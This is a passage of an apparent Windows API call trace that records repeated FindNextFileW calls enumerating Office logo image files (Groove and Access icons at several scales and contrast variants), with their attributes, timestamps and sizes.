hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199e0c45, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199e0c45, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-black_scale-180.png", cAlternateFileName="GRA3AD~1.PNG")) returned 1 [0102.415] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199ba9ea, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199ba9ea, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x768, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-black_scale-80.png", cAlternateFileName="GR0C5F~1.PNG")) returned 1 [0102.415] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199ba9ea, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199ba9ea, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x908, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-white_scale-100.png", cAlternateFileName="GRADA3~1.PNG")) returned 1 [0102.415] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199ba9ea, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199ba9ea, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc16, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-white_scale-140.png", cAlternateFileName="GR7FD5~1.PNG")) returned 1 [0102.415] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-white_scale-180.png", cAlternateFileName="GR2251~1.PNG")) returned 1 [0102.415] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x79a, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-white_scale-80.png", cAlternateFileName="GROOVE~3.PNG")) returned 1 [0102.415] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199ba9ea, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.scale-100.png", cAlternateFileName="GR37CD~1.PNG")) returned 1 [0102.415] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199ba9ea, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.scale-140.png", cAlternateFileName="GR3AC7~1.PNG")) returned 1 [0102.416] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199ba9ea, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1add, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.scale-180.png", cAlternateFileName="GR7C96~1.PNG")) returned 1 [0102.416] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb09, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.scale-80.png", cAlternateFileName="GROOVE~4.PNG")) returned 1 [0102.416] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6192e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-black_scale-100.png", cAlternateFileName="GRF89D~1.PNG")) returned 1 [0102.416] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6192e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x81a, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-black_scale-140.png", cAlternateFileName="GR4622~1.PNG")) returned 1 [0102.416] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa56, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-black_scale-180.png", cAlternateFileName="GRBAC6~1.PNG")) returned 1 [0102.416] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6192e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-black_scale-80.png", cAlternateFileName="GR3641~1.PNG")) returned 1 [0102.416] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6df, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-white_scale-100.png", cAlternateFileName="GR7AE9~1.PNG")) returned 1 [0102.416] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-white_scale-140.png", cAlternateFileName="GRF6AB~1.PNG")) returned 1 [0102.416] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa03, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-white_scale-180.png", cAlternateFileName="GRC8DD~1.PNG")) returned 1 [0102.416] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-white_scale-80.png", cAlternateFileName="GRE586~1.PNG")) returned 1 [0102.416] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa56, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.scale-100.png", cAlternateFileName="GREDEF~1.PNG")) returned 1 [0102.416] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd76, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.scale-140.png", cAlternateFileName="GR1CBD~1.PNG")) returned 1 [0102.416] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.scale-180.png", cAlternateFileName="GR6942~1.PNG")) returned 1 [0102.419] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x850, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.scale-80.png", cAlternateFileName="GR3369~1.PNG")) returned 1 [0102.419] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-black_scale-100.png", cAlternateFileName="MS0237~1.PNG")) returned 1 [0102.420] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-black_scale-140.png", cAlternateFileName="MS6F5E~1.PNG")) returned 1 [0102.420] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-black_scale-180.png", cAlternateFileName="MSA13D~1.PNG")) returned 1 [0102.420] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a63f068, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-black_scale-80.png", cAlternateFileName="MSACCE~1.PNG")) returned 1 [0102.420] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a63f068, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xba5, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-white_scale-100.png", cAlternateFileName="MS13E6~1.PNG")) returned 1 [0102.420] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6192e9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6192e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a63f068, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xebc, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-white_scale-140.png", cAlternateFileName="MSACCE~4.PNG")) returned 1 [0102.420] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6192e9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6192e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a63f068, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x132f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-white_scale-180.png", cAlternateFileName="MSACCE~3.PNG")) returned 1 [0102.420] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6192e9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6192e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6192e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-white_scale-80.png", cAlternateFileName="MSACCE~2.PNG")) returned 1 [0102.420] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc35, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.scale-100.png", cAlternateFileName="MS31C8~1.PNG")) returned 1 [0102.420] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.scale-140.png", cAlternateFileName="MS30DC~1.PNG")) returned 1 [0102.420] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.scale-180.png", cAlternateFileName="MS72AB~1.PNG")) returned 1 [0102.420] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.scale-80.png", cAlternateFileName="MS2629~1.PNG")) returned 1 [0102.420] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x91b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-black_scale-100.png", cAlternateFileName="MS631D~1.PNG")) returned 1 [0102.420] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-black_scale-140.png", cAlternateFileName="MS214E~1.PNG")) returned 1 [0102.420] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd17, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-black_scale-180.png", cAlternateFileName="MS7EC2~1.PNG")) returned 1 [0102.421] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x730, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-black_scale-80.png", cAlternateFileName="MS389C~1.PNG")) returned 1 [0102.421] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-white_scale-100.png", cAlternateFileName="MS74CC~1.PNG")) returned 1 [0102.421] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xab2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-white_scale-140.png", cAlternateFileName="MSA29A~1.PNG")) returned 1 [0102.421] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd17, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-white_scale-180.png", cAlternateFileName="MSFF1F~1.PNG")) returned 1 [0102.421] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x733, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-white_scale-80.png", cAlternateFileName="MSE33B~1.PNG")) returned 1 [0102.421] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.scale-100.png", cAlternateFileName="MSBF6D~1.PNG")) returned 1 [0102.421] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb43, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.scale-140.png", cAlternateFileName="MS1EB3~1.PNG")) returned 1 [0102.425] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, 